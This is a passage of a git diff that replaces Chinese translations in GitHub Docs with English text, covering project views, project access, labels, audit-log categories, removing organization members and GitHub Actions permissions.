filter for. For example: "In progress". You can also filter for the absence of specific values (for example, choose "Exclude status" then choose a status) or the absence of all values (for example, "No status"). In board layout, you can click on item data to filter for items with that value. For example, click on an assignee to show only items for that assignee. To remove the filter, click the item data again. -## 保存视图 +## Creating a project view -保存的视图允许您快速查看项目的特定方面。 例如，您可能有以下内容： -- 显示所有未启动项目的视图（按“状态”过滤）。 -- 显示每个团队成员工作量的视图 (按“受理人”分组，按“状态”过滤）。 -- 显示具有最早目标运送日期的项的视图（按日期字段排序）。 +Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project. -以下步骤演示如何添加新视图： +For example, you can have: +- A view that shows all items not yet started (filter on "Status"). +- A view that shows the workload for each team (group by a custom "Team" field). +- A view that shows the items with the earliest target ship date (sort by a date field). + +To add a new view: 1. {% data reusables.projects.open-command-palette %} -2. 开始键入 "New view"（创建新视图）或 "Duplicate view"（复制当前视图）。 -3. 选择所需的命令。 -4. 或者，点击右侧视图旁边的 {% octicon "plus" aria-label="the plus icon" %} **New view（新视图）**。 -5. 或者，选择视图名称旁边的下拉菜单，然后点击 **Duplicate view（复制视图）**。 +2. Start typing "New view" (to create a new view) or "Duplicate view" (to duplicate the current view). +3. Choose the required command. +4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view. +5. Alternatively, click the drop-down menu next to a view name and click **Duplicate view**. -更改视图时，视图名称旁边会显示一个点，以指示视图已修改。 如果您不想保存更改，可以忽略此指示。 要为所有项目成员保存视图： +The new view is automatically saved. +## Saving changes to a view + +When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes. + +![Unsaved changes indicator](/assets/images/help/projects/unsaved-changes.png) + +If you don't want to save the changes, you can ignore this indicator. No one else will see your changes. + +To save the current configuration of the view for all project members: 1. {% data reusables.projects.open-command-palette %} -1. 开始键入 "Save view" 或 "Save changes to new view"。 -1. 选择所需的命令。 -1. 或者，选择视图名称旁边的下拉菜单，然后点击 **Save view（保存视图）** 或 **Save changes to new view（保存更改到新视图）**。 +1. Start typing "Save view" or "Save changes to new view". +1. Choose the required command. +1. Alternatively, click the drop-down menu next to a view name and click **Save view** or **Save changes to new view**. -要重命名视图，双击视图名称并输入所需名称。 +## Reordering saved views -要删除视图： +To change the order of the tabs that contain your saved views, click and drag a tab to a new location. +The new tab order is automatically saved. + +## Renaming a saved view + +To rename a view: +1. Double click the name in the project tab. +1. Change the name. +1. Press Enter, or click outside of the tab. + +The name change is automatically saved. + +## Deleting a saved view + +To delete a view: 1. {% data reusables.projects.open-command-palette %} -2. 开始键入 "Delete view"。 -3. 选择所需的命令。 -4. 或者，选择视图名称旁边的下拉菜单，然后点击 **Delete view（删除视图）**。 +2. Start typing "Delete view". +3. Choose the required command. +4. Alternatively, click the drop-down menu next to a view name and click **Delete view**. -## 延伸阅读 +## Further reading -- "[关于项目（测试版）](/issues/trying-out-the-new-projects-experience/about-projects)" -- "[创建项目（测试版）](/issues/trying-out-the-new-projects-experience/creating-a-project)" +- "[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" +- "[Creating a project (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)" diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md index fce0c4c06f..0e92893d8d 100644 --- a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md @@ -15,9 +15,9 @@ topics: ## About project access -Admins of organization-level projects can manage access to their organization's projects for everyone in the organization. Organization project admins can also manage access for individual organization members. +Admins of organization-level projects can manage access for the entire organization, for teams, and for individual organization members. -Admins of user-level projects can invite collaborators and manage access for individual collaborators. +Admins of user-level projects can invite individual collaborators and manage their access. Project admins can also control the visibility of their project for everyone on the internet. For more information, see "[Managing the visibility of your projects](/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects)." @@ -35,17 +35,19 @@ The default base role is `write`, meaning that everyone in the organization can - **Write**: Everyone in the organization can see and edit the project. Organization owners are also admins for the project. - **Admin**: Everyone in the organization is an admin for the project. -### Managing access for individual members of your organization +### Managing access for teams and individual members of your organization -You can also add individual organization members as collaborators to your project. Only organization members can be added as collaborators to organization projects. +You can also add teams, and individual organization members, as collaborators. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)." + +You can only invite an individual user to collaborate on your organization-level project if they are a member of the organization. {% data reusables.projects.project-settings %} 1. Click **Manage access**. -1. Under **Invite collaborators**, search for the organization member that you want to invite. +1. Under **Invite collaborators**, search for the team or organization member that you want to invite. 1. Select the role for the collaborator. - - **Read**: The individual can view the project. - - **Write**: The individual can view and edit the project. - - **Admin**: The individual can view, edit, and add new collaborators to the project. + - **Read**: The team or individual can view the project. + - **Write**: The team or individual can view and edit the project. + - **Admin**: The team or individual can view, edit, and add new collaborators to the project. 1. Click **Invite**. ### Managing access of an existing collaborator on your project @@ -53,6 +55,9 @@ You can also add individual organization members as collaborators to your projec {% data reusables.projects.project-settings %} 1. Click **Manage access**. 1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify. + + You can use the **Type** and **Role** drop-down menus to filter the access list. + 1. Edit the role for the collaborator(s) or click {% octicon "trash" aria-label="the trash icon" %} to remove the collaborator(s). ## Managing access for user-level projects @@ -79,4 +84,7 @@ This only affects collaborators for your project, not for repositories in your p {% data reusables.projects.project-settings %} 1. Click **Manage access**. 1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify. + + You can use the **Role** drop-down menu to filter the access list. + 1. Edit the role for the collaborator(s) or click {% octicon "trash" aria-label="the trash icon" %} to remove the collaborator(s). diff --git a/translations/zh-CN/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md b/translations/zh-CN/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md index 5b56e74204..a0a087614c 100644 --- a/translations/zh-CN/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md +++ b/translations/zh-CN/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md @@ -1,6 +1,6 @@ --- -title: 管理标签 -intro: '您可以通过创建、编辑、应用和删除标签，对 {% ifversion fpt or ghec %} 议题、拉取请求和讨论{% else %}议题和拉取请求{% endif %}进行分类。' +title: Managing labels +intro: 'You can classify {% ifversion fpt or ghec %}issues, pull requests, and discussions{% else %}issues and pull requests{% endif %} by creating, editing, applying, and deleting labels.' permissions: '{% data reusables.enterprise-accounts.emu-permission-repo %}' redirect_from: - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/managing-labels @@ -31,55 +31,56 @@ topics: - Project management type: how_to --- - ## 关于标签 +## About labels -您可以通过创建标签来分类{% ifversion fpt or ghec %}议题、拉取请求和讨论{% else %}议题和拉取请求{% endif %}，管理您在 {% data variables.product.product_name %} 上的工作。 您可以在创建标签的仓库中应用标签。 有了标签后，您可以在该仓库内的任何{% ifversion fpt or ghec %}议题、拉取请求或讨论{% else %}议题或拉取请求{% endif %}上使用标签、 +You can manage your work on {% data variables.product.product_name %} by creating labels to categorize {% ifversion fpt or ghec %}issues, pull requests, and discussions{% else %}issues and pull requests{% endif %}. You can apply labels in the repository the label was created in. Once a label exists, you can use the label on any {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} within that repository. -## 关于默认标签 +## About default labels -{% data variables.product.product_name %} 在每个新仓库中提供默认标签。 您可以使用这些默认标签帮助在仓库中创建标准工作流程。 +{% data variables.product.product_name %} provides default labels in every new repository. You can use these default labels to help create a standard workflow in a repository. -| 标签 | 描述 | -| ------------------ | ------------------------------------------------------------------------- | -| `bug` | 表示非预期的问题或行为{% ifversion fpt or ghes or ghec %} -| `文档` | 表示文档需要改进或补充{% endif %} -| `duplicate` | 表示类似的{% ifversion fpt or ghec %}议题、拉取请求或讨论{% else %}议题或拉取请求{% endif %} -| `enhancement` | 表示新功能申请 | -| `good first issue` | 表示适用首次贡献者的议题 | -| `help wanted` | 表示维护员需要议题或拉取请求方面的帮助 | -| `invalid` | 表示{% ifversion fpt or ghec %}议题、拉取请求或讨论{% else %}议题或拉取请求{% endif %}不再相关 | -| `question` | 表示{% ifversion fpt or ghec %}议题、拉取请求或讨论{% else %}议题或拉取请求{% endif %}需要更多信息 | -| `wontfix` | 表示不会继续处理{% ifversion fpt or ghec %}议题、拉取请求或讨论{% else %}议题或拉取请求{% endif %} +Label | Description +--- | --- +`bug` | Indicates an unexpected problem or unintended behavior{% ifversion fpt or ghes or ghec %} +`documentation` | Indicates a need for improvements or additions to documentation{% endif %} +`duplicate` | Indicates similar {% ifversion fpt or ghec %}issues, pull requests, or discussions{% else %}issues or pull requests{% endif %} +`enhancement` | Indicates new feature requests +`good first issue` | Indicates a good issue for first-time contributors +`help wanted` | Indicates that a maintainer wants help on an issue or pull request +`invalid` | Indicates that an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} is no longer relevant +`question` | Indicates that an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} needs more information +`wontfix` | Indicates that work won't continue on an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} -创建仓库时，每个新仓库中均包含默认标签，但您稍后可以编辑或删除标签。 +Default labels are included in every new repository when the repository is created, but you can edit or delete the labels later. -带有 `good first issue` 标签的议题用于填充仓库的 `contribute` 页面。 有关`贡献`页面的示例，请参阅 [github/docs/contribute](https://github.com/github/docs/contribute)。 +Issues with the `good first issue` label are used to populate the repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). {% ifversion fpt or ghes or ghec %} -组织所有者可以自定义其组织中仓库的默认标签。 更多信息请参阅“[管理组织中仓库的默认标签](/articles/managing-default-labels-for-repositories-in-your-organization)”。 +Organization owners can customize the default labels for repositories in their organization. For more information, see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)." {% endif %} -## 创建标签 +## Creating a label Anyone with write access to a repository can create a label. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %} -4. 在搜索字段的右侧，单击 **New label（新建标签）**。 +4. To the right of the search field, click **New label**. {% data reusables.project-management.name-label %} {% data reusables.project-management.label-description %} {% data reusables.project-management.label-color-randomizer %} {% data reusables.project-management.create-label %} -## 应用标记 +## Applying a label Anyone with triage access to a repository can apply and dismiss labels. -1. 导航到{% ifversion fpt or ghec %}议题、拉取请求或讨论{% else %}议题或拉取请求{% endif %}。 -1. 在右侧边栏中“Labels（标签）”的右侧，单击 {% octicon "gear" aria-label="The gear icon" %}，然后单击标签。 !["标签"下拉菜单](/assets/images/help/issues/labels-drop-down.png) +1. Navigate to the {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %}. +1. In the right sidebar, to the right of "Labels", click {% octicon "gear" aria-label="The gear icon" %}, then click a label. + !["Labels" drop-down menu](/assets/images/help/issues/labels-drop-down.png) -## 编辑标签 +## Editing a label Anyone with write access to a repository can edit existing labels. @@ -92,18 +93,18 @@ Anyone with write access to a repository can edit existing labels. {% data reusables.project-management.label-color-randomizer %} {% data reusables.project-management.save-label %} -## 删除标签 +## Deleting a label Anyone with write access to a repository can delete existing labels. -删除标签将从议题和拉取请求中删除标签。 +Deleting a label will remove the label from issues and pull requests. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %} {% data reusables.project-management.delete-label %} -## 延伸阅读 +## Further reading - "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)"{% ifversion fpt or ghes or ghec %} -- "[管理组织中仓库的默认标签](/articles/managing-default-labels-for-repositories-in-your-organization)"{% endif %}{% ifversion fpt or ghec %} -- "[通过标签鼓励对项目做出有益的贡献](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)"{% endif %} +- "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)"{% endif %}{% ifversion fpt or ghec %} +- "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)"{% endif %} diff --git a/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md index 78d03453ff..3765400734 100644 --- a/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md +++ b/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md @@ -39,8 +39,8 @@ To search for specific events, use the `action` qualifier in your query. Actions | [`billing`](#billing-category-actions) | Contains all activities related to your organization's billing. | [`business`](#business-category-actions) | Contains activities related to business settings for an enterprise. | | [`codespaces`](#codespaces-category-actions) | Contains all activities related to your organization's codespaces. |{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %} -| [`dependabot_alerts`](#dependabot_alerts-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot %} alerts in existing repositories. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." -| [`dependabot_alerts_new_repos`](#dependabot_alerts_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot %} alerts in new repositories created in the organization. +| [`dependabot_alerts`](#dependabot_alerts-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in existing repositories. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| [`dependabot_alerts_new_repos`](#dependabot_alerts_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in new repositories created in the organization. | [`dependabot_security_updates`](#dependabot_security_updates-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} in existing repositories. For more information, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." | [`dependabot_security_updates_new_repos`](#dependabot_security_updates_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} for new repositories created in the organization.{% endif %}{% ifversion fpt or ghec %} | [`dependency_graph`](#dependency_graph-category-actions) | Contains organization-level configuration activities for dependency graphs for repositories. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." @@ -71,7 +71,7 @@ To search for specific events, use the `action` qualifier in your query. Actions | [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %} | [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} | [`repository_vulnerability_alert`](#repository_vulnerability_alert-category-actions) | Contains all activities related to [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies).{% endif %}{% ifversion fpt or ghec %} -| [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot %} alerts.{% endif %}{% ifversion ghec %} +| [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot_alerts %}.{% endif %}{% ifversion ghec %} | [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %} | [`secret_scanning`](#secret_scanning-category-actions) | Contains organization-level configuration activities for secret scanning in existing repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." | [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% ifversion fpt or ghec %} @@ -661,8 +661,8 @@ For more information, see "[Managing the publication of {% data variables.produc | Action | Description |------------------|------------------- -| `create` | Triggered when {% data variables.product.product_name %} creates a {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot %}{% else %}security{% endif %} alert for a repository that uses a vulnerable dependency. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." -| `dismiss` | Triggered when an organization owner or person with admin access to the repository dismisses a {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot %}{% else %}security{% endif %} alert about a vulnerable dependency. +| `create` | Triggered when {% data variables.product.product_name %} creates a {% data variables.product.prodname_dependabot %} alert for a repository that uses a vulnerable dependency. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| `dismiss` | Triggered when an organization owner or person with admin access to the repository dismisses a {% data variables.product.prodname_dependabot %} alert about a vulnerable dependency. | `resolve` | Triggered when someone with write access to a repository pushes changes to update and resolve a vulnerability in a project dependency. {% endif %}{% ifversion fpt or ghec %} diff --git a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md index 17b70a0969..160e49af6a 100644 --- a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md @@ -1,6 +1,6 @@ --- -title: 从组织中删除成员 -intro: 如果组织的成员不再需要访问组织拥有的任何仓库，则可以从组织中删除他们。 +title: Removing a member from your organization +intro: 'If members of your organization no longer require access to any repositories owned by the organization, you can remove them from the organization.' redirect_from: - /articles/removing-a-member-from-your-organization - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization @@ -12,20 +12,22 @@ versions: topics: - Organizations - Teams -shortTitle: 删除成员 +shortTitle: Remove a member --- -只有组织所有者才能从组织中删除成员。 +Only organization owners can remove members from an organization. {% ifversion fpt or ghec %} {% warning %} -**警告：**当您从组织删除成员时： -- 付费的许可数不会自动降级。 要在从组织中删除用户后减少付费的许可数，请按照“[降级组织的付费席位](/articles/downgrading-your-organization-s-paid-seats)”中的步骤操作。 -- 被删除的成员将无法访问组织私有仓库的私人复刻，但仍可拥有本地副本。 但是，它们无法将本地副本与组织的仓库同步。 如果用户在从组织中删除后的三个月内[恢复为组织成员](/articles/reinstating-a-former-member-of-your-organization)，则可以恢复其私人复刻。 最终，您负责确保无法访问仓库的人员删除任何机密信息或知识产权。 -- 如果您的组织归企业帐户所有，当被删除成员不是同一企业帐户拥有的任何其他组织的成员时，则被删除成员也将失去对组织内部仓库私人复刻的访问权限。 更多信息请参阅“[关于企业帐户](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)”。 -- 被删除成员发出的任何组织邀请，如果没有被接受，都会取消，且无法访问。 +**Warning:** When you remove members from an organization: +- The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)." +- Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. +{%- ifversion ghec %} +- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +{%- endif %} +- Any organization invitations sent by a removed member, that have not been accepted, are cancelled and will not be accessible. {% endwarning %} @@ -33,10 +35,10 @@ shortTitle: 删除成员 {% warning %} -**警告：**当您从组织删除成员时： - - 被删除的成员将无法访问组织私有仓库的私人复刻，但仍可拥有本地副本。 但是，它们无法将本地副本与组织的仓库同步。 如果用户在从组织中删除后的三个月内[恢复为组织成员](/articles/reinstating-a-former-member-of-your-organization)，则可以恢复其私人复刻。 最终，您负责确保无法访问仓库的人员删除任何机密信息或知识产权。 -- 如果被删除成员不是企业中任何其他组织的成员，则被删除成员也将失去对组织内部仓库私人复刻的访问权限。 - - 被删除用户发出的任何组织邀请，如果没有被接受，都会取消，且无法访问。 +**Warning:** When you remove members from an organization: + - Removed members will lose access to private forks of your organization's private repositories, but may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. +- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization in your enterprise. + - Any organization invitations sent by the removed user, that have not been accepted, are cancelled and will not be accessible. {% endwarning %} @@ -44,21 +46,24 @@ shortTitle: 删除成员 {% ifversion fpt or ghec %} -为帮助您从组织中删除的人员过渡并帮助确保他们删除机密信息或知识产权，我们建议您共享一份离开组织的最佳实践检查列表。 例如，请参阅“[关于离开公司的最佳实践](/articles/best-practices-for-leaving-your-company/)”。 +To help the person you're removing from your organization transition and help ensure they delete confidential information or intellectual property, we recommend sharing a checklist of best practices for leaving your organization. For an example, see "[Best practices for leaving your company](/articles/best-practices-for-leaving-your-company/)." {% endif %} {% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %} -## 撤销用户的成员身份 +## Revoking the user's membership {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.people %} -4. 选择您想要从组织中删除的成员。 ![选择了两名成员的成员列表](/assets/images/help/teams/list-of-members-selected-bulk.png) -5. 在成员列表上方，使用下拉菜单，然后单击 **Remove from organization（从组织中删除）**。 ![包含删除成员选项的下拉菜单](/assets/images/help/teams/user-bulk-management-options.png) -6. 查看将从组织中删除的一个或多个成员，然后单击 **Remove members（删除成员）**。 ![将被删除的成员列表和删除成员按钮](/assets/images/help/teams/confirm-remove-members-bulk.png) +4. Select the member or members you'd like to remove from the organization. + ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png) +5. Above the list of members, use the drop-down menu, and click **Remove from organization**. + ![Drop-down menu with option to remove members](/assets/images/help/teams/user-bulk-management-options.png) +6. Review the member or members who will be removed from the organization, then click **Remove members**. + ![List of members who will be removed and Remove members button](/assets/images/help/teams/confirm-remove-members-bulk.png) -## 延伸阅读 +## Further reading -- “[从团队中删除组织成员](/articles/removing-organization-members-from-a-team)” +- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)" diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md index c3a76792a9..4b2252d181 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: 禁用或限制组织的 GitHub Actions -intro: 组织所有者可禁用、启用和限制组织的 GitHub Actions。 +title: Disabling or limiting GitHub Actions for your organization +intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization versions: @@ -11,59 +11,60 @@ versions: topics: - Organizations - Teams -shortTitle: 禁用或限制操作 +shortTitle: Disable or limit actions --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## 关于组织的 {% data variables.product.prodname_actions %} 权限 +## About {% data variables.product.prodname_actions %} permissions for your organization -{% data reusables.github-actions.disabling-github-actions %} 有关 {% data variables.product.prodname_actions %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)”。 +{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." -您可以对组织中的所有仓库启用 {% data variables.product.prodname_actions %}。 {% data reusables.github-actions.enabled-actions-description %} 您可以对组织中的所有仓库禁用 {% data variables.product.prodname_actions %}。 {% data reusables.github-actions.disabled-actions-description %} +You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.disabled-actions-description %} -此外，您可以对组织中的所有仓库启用 {% data variables.product.prodname_actions %}，但限制工作流程可以运行的操作。 {% data reusables.github-actions.enabled-local-github-actions %} +Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %} -## 管理组织的 {% data variables.product.prodname_actions %} 权限 +## Managing {% data variables.product.prodname_actions %} permissions for your organization -您可以禁用组织的所有工作流程，或者设置策略来配置哪些操作可用于组织中。 +You can disable all workflows for an organization or set a policy that configures which actions can be used in an organization. {% data reusables.actions.actions-use-policy-settings %} {% note %} -**注：**如果您的组织由具有覆盖策略的企业管理，您可能无法管理这些设置。 更多信息请参阅“[在企业中执行 {% data variables.product.prodname_actions %} 的策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)”。 +**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." {% endnote %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions %} -1. 在 **Policies（策略）**下，选择一个选项。 ![设置此组织的操作策略](/assets/images/help/organizations/actions-policy.png) -1. 单击 **Save（保存）**。 +1. Under **Policies**, select an option. + ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png) +1. Click **Save**. -## 允许特定操作运行 +## Allowing specific actions to run {% data reusables.actions.allow-specific-actions-intro %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions %} -1. 在 **Policies（策略）**下，选择 **Allow select actions（允许选择操作）**并将所需操作添加到列表中。 - {%- ifversion ghes %} - ![添加操作到允许列表](/assets/images/help/organizations/actions-policy-allow-list.png) +1. Under **Policies**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 %} + ![Add actions to allow list](/assets/images/help/organizations/actions-policy-allow-list.png) {%- else %} - ![添加操作到允许列表](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png) + ![Add actions to allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png) {%- endif %} -1. 单击 **Save（保存）**。 +1. Click **Save**. {% ifversion fpt or ghec %} -## 配置公共复刻工作流程所需的批准 +## Configuring required approval for workflows from public forks {% data reusables.actions.workflow-run-approve-public-fork %} -您可以使用以下程序为组织配置此行为。 修改此设置会覆盖企业级别的配置集。 +You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level. {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -74,11 +75,11 @@ shortTitle: 禁用或限制操作 {% endif %} {% ifversion fpt or ghes or ghec %} -## 为私有仓库复刻启用工作流程 +## Enabling workflows for private repository forks {% data reusables.github-actions.private-repository-forks-overview %} -### 为组织配置私有复刻策略 +### Configuring the private fork policy for an organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -87,20 +88,21 @@ shortTitle: 禁用或限制操作 {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## 为您的组织设置 `GITHUB_TOKENN` 的权限 +## Setting the permissions of the `GITHUB_TOKEN` for your organization {% data reusables.github-actions.workflow-permissions-intro %} -您可以在组织或仓库的设置中为 `GITHUB_TOKEN` 设置默认权限。 如果您在组织设置中选择受限制的选项为默认值，则在您的组织内仓库的设置中，自动选择相同的选项，允许选项也会被禁用。 如果您的组织属于 {% data variables.product.prodname_enterprise %} 帐户，并且在企业设置中选择了更受限制的默认值，则您将无法在组织设置中选择更宽松的默认值。 +You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you choose the restricted option as the default in your organization settings, the same option is auto-selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and the more restricted default has been selected in the enterprise settings, you won't be able to choose the more permissive default in your organization settings. {% data reusables.github-actions.workflow-permissions-modifying %} -### 配置默认 `GITHUB_TOKENN` 权限 +### Configuring the default `GITHUB_TOKEN` permissions {% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions %} -1. 在 **Workflow permissions（工作流程权限）**下，选择您是否想要 `GITHUB_TOKENN` 读写所有范围限， 或者只读`内容`范围。 ![为此组织设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-organization.png) -1. 单击 **Save（保存）**以应用设置。 +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this 